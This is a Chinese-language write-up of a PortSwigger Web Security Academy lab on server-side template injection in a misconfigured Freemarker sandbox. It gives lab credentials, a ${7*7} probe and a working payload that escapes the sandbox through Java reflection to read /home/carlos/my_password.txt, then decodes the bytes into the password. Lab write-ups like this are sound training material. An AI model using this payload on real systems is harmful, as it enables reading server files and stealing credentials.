> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-in-sandboxed-environment.md).
# 沙箱环境中的 SSTI
沙箱环境中的 SSTI 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 沙箱环境中的服务器端模板注入
本实验使用 **Freemarker** 模板引擎，沙箱配置不当，允许发生服务器端模板注入。/ 目标：绕过沙箱读取 `my_password.txt` 文件，位于 Carlos 的个人文件夹中，然后提交其内容。
提供的凭据：/ `content-manager: C0nt3ntM4n4g3r`
#### 1. 检查模板中的代码执行
我们首先测试引擎是否会解释模板中的许多 Java 表达式：
```python
${7*7}
```
该计算被解释执行，这确认了存在带有服务器端代码执行的 SSTI。
#### 2. 绕过沙箱并读取敏感文件
为了脱离沙箱并访问文件系统，我们使用 `product` 对象，它已存在于模板上下文中，然后向上访问底层 Java 类，直接读取 Carlos 的文件：
```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
该表达式返回 `my_password.txt` 文件的内容，以十进制值（字节码）形式表示。
3/. 将十进制值转换为文本
获得的输出是一系列十进制数字：
`100 50 110 114 98 112 109 53 98 117 99 117 122 111 99 106 101 101 54 98`
将这些值转换为 ASCII 后得到以下密码：
`d2nrbpm5bucuzocjee6b`
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